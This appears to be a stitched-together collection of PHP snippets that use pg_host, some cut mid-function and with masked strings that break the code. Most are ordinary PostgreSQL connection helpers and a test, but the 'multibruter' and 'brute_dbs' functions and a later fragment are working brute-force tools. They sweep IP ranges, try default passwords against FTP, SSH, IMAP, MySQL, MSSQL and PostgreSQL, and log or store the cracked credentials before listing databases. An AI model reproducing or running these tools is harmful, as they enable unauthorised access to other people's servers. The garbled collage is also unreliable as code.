public static function castLink($link, array $a, Stub $stub, $isNested) { $a['status'] = pg_connection_status($link); $a['status'] = new ConstStub(PGSQL_CONNECTION_OK === $a['status'] ? 'PGSQL_CONNECTION_OK' : 'PGSQL_CONNECTION_BAD', $a['status']); $a['busy'] = pg_connection_busy($link); $a['transaction'] = pg_transaction_status($link); if (isset(self::$transactionStatus[$a['transaction']])) { $a['transaction'] = new ConstStub(self::$transactionStatus[$a['transaction']], $a['transaction']); } $a['pid'] = pg_get_pid($link); $a['last error'] = pg_last_error($link); $a['last notice'] = pg_last_notice($link); $a['host'] = pg_host($link); $a['port'] = pg_port($link); $a['dbname'] = pg_dbname($link); $a['options'] = pg_options($link); $a['version'] = pg_version($link); foreach (self::$paramCodes as $v) { if (false !== ($s = pg_parameter_status($link, $v))) { $a['param'][$v] = $s; } } $a['param']['client_encoding'] = pg_client_encoding($link); $a['param'] = new EnumStub($a['param']); return $a; }
function disconnect() { if (!pg_close($this->dbConnection)) { return "Failed to close connection to " . pg_host($this->dbConnection) . ": " . pg_last_error($this->dbConnection) . "<br/>\n"; } else { return "Successfully disconnected from database"; } }
public function connect($dbIP, $dbUser, $dbPass, $dbName, $dbPort = null) { // check parameters if ($dbIP == '') { die('<b>ERROR:</b> no database host provided... <b>w2db.php, line ' . __LINE__ . '</b>'); } if ($dbName == '') { die('<b>ERROR:</b> no database name provided... <b>w2db.php, line ' . __LINE__ . '</b>'); } if ($dbUser == '') { die('<b>ERROR:</b> no database user provided... <b>w2db.php, line ' . __LINE__ . '</b>'); } //if ($dbPass == '') die('no database password provided'); $this->dbName = $dbName; // connect if ($this->dbType == 'postgres') { $this->dbConn = pg_connect("host={$dbIP} " . ($dbPort != null ? "port={$dbPort} " : "") . "dbname={$dbName} user={$dbUser} password={$dbPass}"); if (!$this->dbConn) { $this->dbConn = null; print "<b>ERROR:</b> Cannot connect to postgres.<br>"; return false; } $this->dbVersion = pg_version($this->dbConn); $this->dbVersion['host'] = pg_host($this->dbConn); } if ($this->dbType == 'mysql') { $this->dbConn = mysql_connect($dbIP . ($dbPort != null ? ":" . $dbPort : ""), $dbUser, $dbPass); if (!$this->dbConn) { $this->dbConn = null; print "<b>ERROR:</b> Cannot connect to mysql.<br>"; return false; } mysql_select_db($dbName); $this->dbVersion = array(); $this->dbVersion['client'] = mysql_get_client_info(); $this->dbVersion['protocol'] = mysql_get_proto_info($this->dbConn); $this->dbVersion['server'] = mysql_get_server_info($this->dbConn); $this->dbVersion['host'] = mysql_get_host_info($this->dbConn); } }
public function getConnInfo() { $item = $this->resultQuery('SHOW SERVER_VERSION'); return 'PostgreSQL ' . (($host = pg_host($this->db)) === '' ? 'local' : "{$host}:" . pg_port($this->db)) . " ({$item['0']})"; }
public function Host() { return pg_host($this->connection); }
function multibruter() { $users = array('root'); $passes = array('', 'root', 'test', 'admin', 'zaq123wsx', '1234', '12345', '123456', 'haslo', 'Password123'); $imap_users = array('postmaster', 'hostmaster', 'master', 'admin', 'administrator', 'test', 'root', 'demo'); print "\n Options:\n"; print " [1] Grab IP\n"; print " [2] Continue\n"; print " What: "; $check = fopen("php://stdin", "r"); $czk = fgets($check); $czk = trim($czk); if ($czk == 1) { print "\n URL: "; $url = fopen("php://stdin", "r"); $www = fgets($url); $www = trim($www); $ip = gethostbyname($www); print "\n IP - " . $ip . "\n"; } elseif ($czk == 2) { print "\n First IP: "; $fir = fopen("php://stdin", "r"); $first = fgets($fir); $first = trim($first); print "\n Last IP: "; $sec = fopen("php://stdin", "r"); $second = fgets($sec); $second = trim($second); if (ip2long($first) && ip2long($second) !== FALSE) { print "\n Options:"; print "\n [1] FTP"; print "\n [2] SSH"; print "\n [3] DB's (PgSQL,MySQL,MsSQL)"; print "\n [4] IMAP"; print "\n [5] All"; print "\n What: "; $what = fopen("php://stdin", "r"); $sup = fgets($what); $sup = trim($sup); if ($sup == 1 || $sup == 5) { print "\nFTP user: "******"php://stdin", "r"); $ftpuser = fgets($ftp); $ftpuser = trim($ftpuser); } for ($ip = ip2long($first); $ip <= ip2long($second); $ip++) { print "\n [1;37m[+][0;37m " . long2ip($ip) . "\n"; if ($sup == 1 || $sup == 5) { if ($checkftp = @fsockopen(long2ip($ip), 21, $errno, $errstr, 5)) { print "\n - FTP found on port 21\n"; $ftpconn = ftp_connect(long2ip($ip)); if (ftp_login($ftpconn, 'anonymous', '')) { $text = date('j/y - G:i') . " - FTP - " . long2ip($ip) . " - Anonymous login\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); print "[1;37mAnonymous login allowed![0;37m\n"; print " - General info\n"; print " Files in directory (" . ftp_pwd($ftpconn) . ") :\n"; $ftpfiles = ftp_rawlist($ftpconn, ftp_pwd($ftpconn)); foreach ($ftpfiles as $plik) { print $plik . "\n"; } ftp_close($ftpconn); } else { print " - FTP anonymous login not allowed\n"; ftp_close($ftpconn); } if ($ftpuser != '') { print "\n Bruteforcing...\n"; foreach ($passes as $haslo) { $ftpconn = ftp_connect(long2ip($ip)); if (ftp_login($ftpconn, $ftpuser, $haslo)) { $text = date('j/y - G:i') . " - FTP - " . long2ip($ip) . " - " . $ftpuser . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); print "[1;37m" . $ftpuser . ':' . $haslo . " - Success![0;37m\n"; print " - General info\n"; print " Current directory - " . ftp_pwd($ftpconn) . "\n"; print " Files in directory:\n"; $ftpfiles = ftp_rawlist($ftpconn, ftp_pwd($ftpconn)); foreach ($ftpfiles as $plik) { echo $plik . "\n"; } ftp_close($ftpconn); break; } else { echo $ftpuser . ':' . $haslo . "\n"; } } } else { print "\nFTP user is not defined, wont bruteforce.\n"; } } else { print "\n - FTP seems not working (21)\n"; } } if ($sup == 2 || $sup == 5) { if ($checkssh = fsockopen(long2ip($ip), 22, $errno, $errstr, 5)) { print "\n - SSH found on port 22\n"; print "\n Bruteforcing...\n"; $sshconn = ssh2_connect(long2ip($ip), 22); foreach ($users as $uzytkownik) { foreach ($passes as $haslo) { if (ssh2_auth_password($sshconn, $uzytkownik, $haslo)) { print "[1;37m" . $uzytkownik . ':' . $haslo . " - Success! [0;37m\n"; $text = date('j/y - G:i') . " - SSH - " . long2ip($ip) . " - " . $uzytkownik . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); ssh2_exec($sshconn, 'exit'); break; } else { print $uzytkownik . ":" . $haslo . "\n"; } } } } else { print "\n - SSH seems not working (22)\n"; } } if ($sup == 3 || $sup == 5) { if ($checkmssql = fsockopen(long2ip($ip), 1433, $errno, $errstr, 5)) { print "\n - MsSQL found on port 1433\n"; print "\n Bruteforcing...\n"; $mssqluser = '******'; foreach ($passes as $haslo) { $mssqlconn = mssql_connect(long2ip($ip), $mssqluser, $haslo); if ($mssqlconn) { print "[1;37m" . $mssqluser . ':' . $haslo . " - Success! [0;37m\n"; $text = date('j/y - G:i') . " - MsSQL - " . long2ip($ip) . " - " . $mssqluser . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); pg_close($mssqlconn); } else { print $mssqluser . ':' . $haslo . "\n"; } } } else { print "\n - MsSQL seems not working (1433)\n"; } if (fsockopen(long2ip($ip), 3306, $errno, $errstr, 5)) { print "\n - MySQL found on port 3306. \n"; print "\n Bruteforcing...\n"; foreach ($users as $uzytkownik) { foreach ($passes as $haslo) { $conn = mysql_connect(long2ip($ip), $uzytkownik, $haslo); if ($conn) { print "[1;37m" . $uzytkownik . ':' . $haslo . " - Success! [0;37m\n"; $text = date('j/y - G:i') . " - MySQL - " . long2ip($ip) . " - " . $mssqluser . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); $dbuser = mysql_query("SELECT USER();"); $dbuzer = mysql_fetch_row($dbuser); $dbdb = mysql_query("SELECT DATABASE();"); $dbd = mysql_fetch_row($dbdb); print "\nGeneral info\n"; print "MySql version - " . mysql_get_client_info() . "\n"; print "Host info - " . mysql_get_host_info() . "\n"; print "Current user - " . $dbuzer[0] . "\n"; print "\nDatabases\n"; $res = mysql_query("SHOW DATABASES"); while ($row = mysql_fetch_assoc($res)) { print $row['Database'] . "\n"; } mysql_close($conn); break; } else { print $uzytkownik . ':' . $haslo . "\n"; } } } } else { print "\n - MySQL seems not working (3306)\n"; } $checkpgsql = fsockopen(long2ip($ip), 5432, $errno, $errstr, 5); if ($checkpgsql) { print "\n - PostgreSQL found on port 5432\n"; print "\n Bruteforcing...\n"; $pguser = '******'; foreach ($passes as $haslo) { $pgconn = pg_connect("host=" . long2ip($ip) . " user="******" password="******"[1;37m" . $pguser . ':' . $haslo . " - Success! [0;37m\n"; $text = date('j/y - G:i') . " - PgSQL - " . long2ip($ip) . " - " . $pguser . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); print "\nGeneral info\n"; print "Version - " . pg_version($pgconn) . "\n"; print "Host - " . pg_host($pgconn) . "\n"; pg_close($pgconn); } else { print $pguser . ':' . $haslo . "\n"; } } } else { print "\n - PostgreSQL seems not working (5432)\n"; } } if ($sup == 4 || $sup == 5) { if ($checkimap = fsockopen(long2ip($ip), 143, $errno, $errstr, 5)) { print "\n - IMAP found on port 143 \n"; print "\n Bruteforcing...\n"; foreach ($imap_users as $uzytkownik) { foreach ($passes as $haslo) { $mailbox = imap_open("{" . long2ip($ip) . ":143}", $uzytkownik, $haslo); if ($mailbox) { print "[1;37m" . $uzytkownik . ':' . $haslo . " - Success! [0;37m\n"; $text = date('j/y - G:i') . " - IMAP - " . long2ip($ip) . " - " . $uzytkownik . ":" . $haslo . "\n"; $handle = fopen('out/multibruter.txt', 'a'); fwrite($handle, $text); fclose($handle); imap_close($mailbox); break; } else { print $uzytkownik . ":" . $haslo . "\n"; } } } } else { print "\n - IMAP seems not working (143)\n"; } } } } else { print "\nWrong IP adress.\n"; } } }
function brute_dbs() { $passes = array('', 'root', 'test', 'admin', 'zaq123wsx', '1234', '12345', '123456', 'fuckyou', 'Password123'); $connf = mysqli_connect(SQL_HOST, SQL_USER, SQL_PWD); mysqli_select_db(SQL_DB, $connf); if (isset($_POST['shost']) && isset($_POST['spath']) && isset($_POST['suser'])) { echo '<div class="post">'; echo '<h2 class="title"><a href="#">Results</a></h2>'; echo '<div class="entry">'; echo '<p class="meta"> Single Database attack • Broken credentials will be stored in database • Using wordlist - '; if (isset($_POST['wordlist']) == 1) { echo 'yes • '; } else { echo 'no • '; } echo 'Target: '; if (isset($_POST['smysql'])) { echo 'MySQL '; } if (isset($_POST['smssql'])) { echo 'MsSQL '; } if (isset($_POST['spgsql'])) { echo 'PgSQL '; } elseif (!isset($_POST['smysql']) && !isset($_POST['smssql']) && !isset($_POST['spgsql'])) { echo 'None selected'; $none = TRUE; } if ($_POST['wordlist'] == 1) { if (file_exists($_POST['spath'])) { $pwds = file($_POST['spath']); } else { echo '<p>File not found... Using default passwords.</p>'; $pwds = $passes; } } else { $pwds = $passes; } echo '<br /><h3>» ' . htmlspecialchars($_POST['shost']) . '</h3>'; if (isset($_POST['smysql'])) { $checksql = fsockopen($_POST['shost'], 3306, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> MySql found on port 3306. Bruteforcing...</p>'; if ($_POST['suser'] == '') { $uzytkownik = 'root'; } else { $uzytkownik = $_POST['suser']; } foreach ($pwds as $haslo) { $conn = mysqli_connect($_POST['shost'], $uzytkownik, $haslo); if ($conn) { echo "<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($_POST['shost']) . ":3306', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); $dbuser = mysqli_query($conn, "SELECT USER();"); $dbuzer = mysql_fetch_row($dbuser); $dbdb = mysqli_query($conn, "SELECT DATABASE();"); $dbd = mysql_fetch_row($dbdb); echo '<b>General info</b><br />'; echo 'MySql version - <a href="http://www.cvedetails.com/version-search.php?vendor=Mysql&product=Mysql&version=' . mysql_get_client_info() . '">' . mysql_get_client_info() . '</a><br />'; echo 'Host info - ' . mysql_get_host_info() . '<br />'; echo 'Current user - ' . $dbuzer[0] . '<br />'; echo '<br /><b>Databases</b><br />'; $res = mysqli_query($conn, "SHOW DATABASES"); while ($row = mysqli_fetch_assoc($res)) { echo $row['Database'] . "<br />"; } mysqli_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> MySql seems not working (3306).</p>'; } } if (isset($_POST['spgsql'])) { $checksql = fsockopen($_POST['shost'], 5432, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> PgSql found on port 5432. Bruteforcing...</p>'; if ($_POST['suser'] == '') { $uzytkownik = 'postgres'; } else { $uzytkownik = $_POST['suser']; } foreach ($pwds as $haslo) { $conn = pg_connect("host=" . $_POST['shost'] . " user="******" password="******"<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($_POST['shost']) . ":5432', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); echo '<br /><b>General info</b><br />'; echo 'Version - ' . pg_version($conn) . '<br />'; echo 'Host - ' . pg_host($conn) . '<br />'; pg_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> PgSql seems not working (5432).</p>'; } } if (isset($_POST['smssql'])) { $checksql = fsockopen($_POST['shost'], 1433, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> MsSql found on port 1433. Bruteforcing...</p>'; if ($_POST['suser'] == '') { $uzytkownik = 'sa'; } else { $uzytkownik = $_POST['suser']; } foreach ($pwds as $haslo) { $conn = mssql_connect($_POST['shost'], $uzytkownik, $haslo); if ($conn) { echo "<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string($_POST['shost']) . ":1433', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); mssql_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> MsSql seems not working (1433).</p>'; } } echo '</div></div>'; } if (isset($_POST['mhost']) && isset($_POST['mpath']) && isset($_POST['muser'])) { echo '<div class="post">'; echo '<h2 class="title"><a href="#">Results</a></h2>'; echo '<div class="entry">'; echo '<p class="meta"> Massive Database\'s attack • Broken credentials will be stored in database • Using wordlist - '; if (isset($_POST['wordlist']) == 2) { echo 'yes • '; } else { echo 'no • '; } echo 'Target: '; if (isset($_POST['mmysql'])) { echo 'MySQL '; } if (isset($_POST['mmssql'])) { echo 'MsSQL '; } if (isset($_POST['mpgsql'])) { echo 'PgSQL '; } elseif (!isset($_POST['mmysql']) && !isset($_POST['mmssql']) && !isset($_POST['mpgsql'])) { echo 'None selected'; $none = TRUE; } if ($_POST['wordlist'] == 1) { if (file_exists($_POST['spath'])) { $pwds = file($_POST['spath']); } else { echo '<p>File not found... Using default passwords.</p>'; $pwds = $passes; } } else { $pwds = $passes; } $ips = explode('-', $_POST['mhost']); for ($ip = ip2long($ips[0]); $ip <= ip2long($ips[1]); $ip++) { echo '<br /><h3>» ' . htmlspecialchars(long2ip($ip)) . '</h3>'; if (isset($_POST['mmysql'])) { $checksql = fsockopen(long2ip($ip), 3306, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> MySql found on port 3306. Bruteforcing...</p>'; if ($_POST['muser'] == '') { $uzytkownik = 'root'; } else { $uzytkownik = $_POST['muser']; } foreach ($pwds as $haslo) { $conn = mysqli_connect(long2ip($ip), $uzytkownik, $haslo); if ($conn) { echo "<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string(long2ip($ip)) . ":3306', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); $dbuser = mysqli_query($conn, "SELECT USER();"); $dbuzer = mysql_fetch_row($dbuser); $dbdb = mysqli_query($conn, "SELECT DATABASE();"); $dbd = mysql_fetch_row($dbdb); echo '<b>General info</b><br />'; echo 'MySql version - <a href="http://www.cvedetails.com/version-search.php?vendor=Mysql&product=Mysql&version=' . mysql_get_client_info() . '">' . mysql_get_client_info() . '</a><br />'; echo 'Host info - ' . mysql_get_host_info() . '<br />'; echo 'Current user - ' . $dbuzer[0] . '<br />'; echo '<br /><b>Databases</b><br />'; $res = mysqli_query($conn, "SHOW DATABASES"); while ($row = mysqli_fetch_assoc($res)) { echo $row['Database'] . "<br />"; } mysqli_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> MySql seems not working (3306).</p>'; } } if (isset($_POST['mpgsql'])) { $checksql = fsockopen(long2ip($ip), 5432, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> PgSql found on port 5432. Bruteforcing...</p>'; if ($_POST['muser'] == '') { $uzytkownik = 'postgres'; } else { $uzytkownik = $_POST['muser']; } foreach ($pwds as $haslo) { $conn = pg_connect("host=" . long2ip($ip) . " user="******" password="******"<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string(long2ip($ip)) . ":5432', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); echo '<br /><b>General info</b><br />'; echo 'Version - ' . pg_version($conn) . '<br />'; echo 'Host - ' . pg_host($conn) . '<br />'; pg_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> PgSql seems not working (5432).</p>'; } } if (isset($_POST['mmssql'])) { $checksql = fsockopen(long2ip($ip), 1433, $errno, $errstr, 5); if ($checksql) { echo '<br /><p><b>[+]</b> MsSql found on port 1433. Bruteforcing...</p>'; if ($_POST['muser'] == '') { $uzytkownik = 'sa'; } else { $uzytkownik = $_POST['muser']; } foreach ($pwds as $haslo) { $conn = mssql_connect(long2ip($ip), $uzytkownik, $haslo); if ($conn) { echo "<p><font color=\"#009900\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . " - Success!</font></p>"; mysqli_query($conn, "INSERT INTO brute(service, credentials) VALUES ('" . mysql_escape_string(long2ip($ip)) . ":1433', '" . mysql_escape_string($uzytkownik) . ":" . mysql_escape_string($haslo) . "')", $connf); mssql_close($conn); break; } else { echo "<font color=\"#990000\">" . htmlspecialchars($uzytkownik) . ':' . htmlspecialchars($haslo) . "</font><br />"; } } } else { echo '<p><b>[-]</b> MsSql seems not working (1433).</p>'; } } } echo '</div></div>'; } mysqli_close($conn); }
function __get($key) { switch ($key) { case 'affected_rows': return $this->affected_rows; case 'client_info': return $this->client_info; case 'client_version': return $this->client_version; case 'server_info': return $this->server_info; case 'server_version': return $this->server_version; case 'host_info': return pg_host($this->connection); case 'errno': return 0; case 'error': return pg_last_error($this->connection); case 'insert_id': return $this->insert_id(); default: return null; } }
function cs_sql_version($cs_file) { global $cs_db; $sql_infos = array('data_free' => 0, 'data_size' => 0, 'index_size' => 0, 'tables' => 0, 'names' => array()); $sql_infos['type'] = 'PostgreSQL (pgsql)'; $sql_infos['host'] = pg_host($cs_db['con']) or cs_error_sql($cs_file, 'cs_sql_version', cs_sql_error()); if (function_exists('pg_version')) { $pg_infos = pg_version($cs_db['con']) or cs_error_sql($cs_file, 'cs_sql_version', cs_sql_error()); } $sql_infos['encoding'] = pg_client_encoding($cs_db['con']); $sql_infos['client'] = isset($pg_infos['client']) ? $pg_infos['client'] : '-'; $sql_infos['server'] = isset($pg_infos['server_version']) ? $pg_infos['server_version'] : '-'; if ($sql_infos['server'] == '-') { $found = cs_sql_query($cs_file, 'SELECT VERSION()', 1); preg_match('=[\\d|.]+=', $found['more'][0]['version'], $matches, PREG_OFFSET_CAPTURE); $sql_infos['server'] = isset($matches[0][0]) ? $matches[0][0] : $found['more'][0]['version']; } return $sql_infos; }
} else { echo '<h2><b>»</b> MySQL seems not working (3306).</h2>'; } // PostgreSQL Testing $checkpgsql = fsockopen(long2ip($ip), 5432, $errno, $errstr, 5); if ($checkpgsql) { echo '<h2><b>»</b> PostgreSQL found on port 5432. </h2>'; echo '<br /><p>Bruteforcing...</p>'; $pguser = '******'; foreach ($passes as $haslo) { $pgconn = pg_connect("host=" . long2ip($ip) . " user="******" password="******"<font color=\"#00FF00\">" . $pguser . ':' . $haslo . " - Success!</font><br />"; echo '<br /><b>General info</b><br />'; echo 'Version - ' . pg_version($pgconn) . '<br />'; echo 'Host - ' . pg_host($pgconn) . '<br />'; pg_close($pgconn); } else { echo "<font color=\"#990000\">" . $pguser . ':' . $haslo . "</font><br />"; } } } else { echo '<h2><b>»</b> PostgreSQL seems not working (5432).</h2>'; } } // Dalej echo '</div></div>'; } } ?> </div>
/** */ function get_host_info() { return $this->db_connect_id ? pg_host($this->db_connect_id) : false; }
var_dump($db); if (pg_connection_status($db) != PGSQL_CONNECTION_OK) { echo "pg_connection_status() error\n"; } if (!pg_connection_reset($db)) { echo "pg_connection_reset() error\n"; } if (pg_connection_busy($db)) { echo "pg_connection_busy() error\n"; } if (function_exists('pg_transaction_status')) { if (pg_transaction_status($db) != PGSQL_TRANSACTION_IDLE) { echo "pg_transaction_status() error\n"; } } if (false === pg_host($db)) { echo "pg_host() error\n"; } if (!pg_dbname($db)) { echo "pg_dbname() error\n"; } if (!pg_port($db)) { echo "pg_port() error\n"; } if (pg_tty($db)) { echo "pg_tty() error\n"; } if (pg_options($db)) { echo "pg_options() error\n"; } pg_close($db);